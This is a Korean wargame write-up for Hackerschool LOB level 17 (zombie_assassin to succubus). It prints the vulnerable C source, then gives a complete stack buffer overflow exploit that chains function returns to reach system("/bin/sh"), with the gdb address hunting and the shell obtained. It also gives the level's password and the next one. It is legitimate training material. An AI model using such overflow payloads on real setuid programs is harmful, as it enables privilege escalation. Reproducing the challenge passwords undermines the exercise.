해커스쿨 LOB LEVEL17 [zombie_assassin -> succubus] 풀이
M4ndU
해커스쿨 LOB [zombie_assassin -> succubus] 풀이입니다.
ID | zombie_assassin
PW | no place to hide
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
그리고
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
를 이용해 소스코드를 확인합시다.
login: zombie_assassin
Password:
[zombie_assassin@localhost zombie_assassin]$ bash2
[zombie_assassin@localhost zombie_assassin]$ ls -l
total 20
-rwsr-sr-x 1 succubus succubus 13782 Mar 30 2010 succubus
-rw-r--r-- 1 root root 1519 Mar 30 2010 succubus.c
[zombie_assassin@localhost zombie_assassin]$ cat succubus.c
/*
The Lord of the BOF : The Fellowship of the BOF
- succubus
- calling functions continuously
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
// the inspector
int check = 0;
void MO(char *cmd)
{
if(check != 4)
exit(0);
printf("welcome to the MO!\n");
// olleh!
system(cmd);
}
void YUT(void)
{
if(check != 3)
exit(0);
printf("welcome to the YUT!\n");
check = 4;
}
void GUL(void)
{
if(check != 2)
exit(0);
printf("welcome to the GUL!\n");
check = 3;
}
void GYE(void)
{
if(check != 1)
exit(0);
printf("welcome to the GYE!\n");
check = 2;
}
void DO(void)
{
printf("welcome to the DO!\n");
check = 1;
}
main(int argc, char *argv[])
{
char buffer[40];
char *addr;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// you cannot use library
if(strchr(argv[1], '\x40')){
printf("You cannot use library\n");
exit(0);
}
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
// overflow!
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer
// 100 : extra space for copied argv[1]
memset(buffer, 0, 44);
memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
소스를 보면,
// check address
addr = (char *)&DO;
if(memcmp(argv[1]+44, &addr, 4) != 0){
printf("You must fall in love with DO\n");
exit(0);
}
리턴주소가 무조건 DO()함수 주소여야 하네요.
그리고 각 DO GYE GUL YUT MO함수에 도달하면서 check 조건문을 만족 시키고
최종적으로 MO함수에 도달해서 쉘을 띄우면 되는 것 같습니다.
순서대로 함수를 호출하고, system()의 인자로 "/bin/sh"를 넣어주면 된다.
페이로드를 구성해보면
dummy[44]+&DO()[4]+&GYE()[4]+&GUL()[4]+&YUT()[4]+&MO()[4]+dummy[4]+&"/bin/sh"[4]+"/bin/sh"
&MO()[4]뒤에 dummy 4바이트는 MO함수의 리턴 주소를 덮어준 것이다.
그럼 각 함수의 주소를 알아낸다.
[zombie_assassin@localhost zombie_assassin]$ readelf -s ./succubus |grep FUNC
1: 80483dc 359 FUNC GLOBAL 0 UND strchr@GLIBC_2.0 (2)
2: 80483ec 116 FUNC WEAK 0 UND __register_frame_info@GLIBC_2.0 (2)
3: 80483fc 46 FUNC GLOBAL 0 UND isprint@GLIBC_2.0 (2)
4: 804840c 670 FUNC GLOBAL 0 UND system@GLIBC_2.0 (2)
5: 804841c 162 FUNC WEAK 0 UND __deregister_frame_info@GLIBC_2.0 (2)
6: 804842c 30 FUNC GLOBAL 0 UND memcmp@GLIBC_2.0 (2)
7: 804843c 261 FUNC GLOBAL 0 UND __libc_start_main@GLIBC_2.0 (2)
8: 804844c 41 FUNC GLOBAL 0 UND printf@GLIBC_2.0 (2)
9: 804845c 232 FUNC GLOBAL 0 UND exit@GLIBC_2.0 (2)
10: 804846c 70 FUNC GLOBAL 0 UND memset@GLIBC_2.0 (2)
13: 804847c 34 FUNC GLOBAL 0 UND strcpy@GLIBC_2.0 (2)
37: 80484c0 0 FUNC LOCAL 0 12 __do_global_dtors_aux
39: 8048508 0 FUNC LOCAL 0 12 fini_dummy
41: 8048510 0 FUNC LOCAL 0 12 frame_dummy
42: 8048530 0 FUNC LOCAL 0 12 init_dummy
47: 8048920 0 FUNC LOCAL 0 12 __do_global_ctors_aux
49: 8048944 0 FUNC LOCAL 0 12 init_dummy
57: 8048584 416 FUNC GLOBAL 0 12 dumpcode
58: 80483dc 359 FUNC GLOBAL 0 UND strchr@@GLIBC_2.0
61: 80483ec 116 FUNC WEAK 0 UND __register_frame_info@@GLIBC_2.0
62: 80483fc 46 FUNC GLOBAL 0 UND isprint@@GLIBC_2.0
64: 804875c 47 FUNC GLOBAL 0 12 YUT
65: 804840c 670 FUNC GLOBAL 0 UND system@@GLIBC_2.0
66: 80487bc 47 FUNC GLOBAL 0 12 GYE
67: 804839c 0 FUNC GLOBAL 0 10 _init
68: 804841c 162 FUNC WEAK 0 UND __deregister_frame_info@@GLIBC_2.0
69: 80487ec 28 FUNC GLOBAL 0 12 DO
72: 804878c 47 FUNC GLOBAL 0 12 GUL
73: 804842c 30 FUNC GLOBAL 0 UND memcmp@@GLIBC_2.0
75: 8048808 268 FUNC GLOBAL 0 12 main
76: 804843c 261 FUNC GLOBAL 0 UND __libc_start_main@@GLIBC_2.0
78: 804844c 41 FUNC GLOBAL 0 UND printf@@GLIBC_2.0
79: 8048540 66 FUNC GLOBAL 0 12 printchar
80: 804894c 0 FUNC GLOBAL 0 13 _fini
81: 804845c 232 FUNC GLOBAL 0 UND exit@@GLIBC_2.0
85: 804846c 70 FUNC GLOBAL 0 UND memset@@GLIBC_2.0
89: 804847c 34 FUNC GLOBAL 0 UND strcpy@@GLIBC_2.0
90: 8048724 55 FUNC GLOBAL 0 12 MO
DO() | 0x080487ec
GYE() | 0x080487bc
GUL() | 0x0804878c
YUT() | 0x0804875c
MO() | 0x08048724
이제 "/bin/sh"의 주소를 구해줍니다.
./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"SSSS"+"/bin/sh"'`
tmp폴더를 만들어서 복사본을 만들고 core 덤프를 일으켜서 gdb로 core 파일을 분석합니다.
[zombie_assassin@localhost zombie_assassin]$ mkdir tmp
[zombie_assassin@localhost zombie_assassin]$ cp succubus tmp/
[zombie_assassin@localhost zombie_assassin]$ cd tmp/
[zombie_assassin@localhost tmp]$ ./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"SSSS"+"/bin/sh"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD耳?$DDDDSSSS/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)
[zombie_assassin@localhost tmp]$ gdb -c core -q
Core was generated by ` '.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()
(gdb) x/10s $esp
0xbffffa94: "SSSS/bin/sh"
0xbffffaa0: "\b\210\004\b\002"
0xbffffaa6: ""
0xbffffaa7: ""
0xbffffaa8: "퀭?234\203\004\bL\211\004\b`?
0xbffffab7: "@술?220>\001@\002"
0xbffffac2: ""
0xbffffac3: ""
0xbffffac4: "빛옮??
0xbffffacd: ""
(gdb) x/s 0xbffffa98
0xbffffa98: "/bin/sh"
이제 익스플로잇!
./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"\x98\xfa\xff\xbf"+"/bin/sh"'`
[zombie_assassin@localhost tmp]$ cd ..
[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"\x98\xfa\xff\xbf"+"/bin/sh"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD耳?$DDDD섨?bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$
bash$ my-pass
euid = 517
here to stay
성공! 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ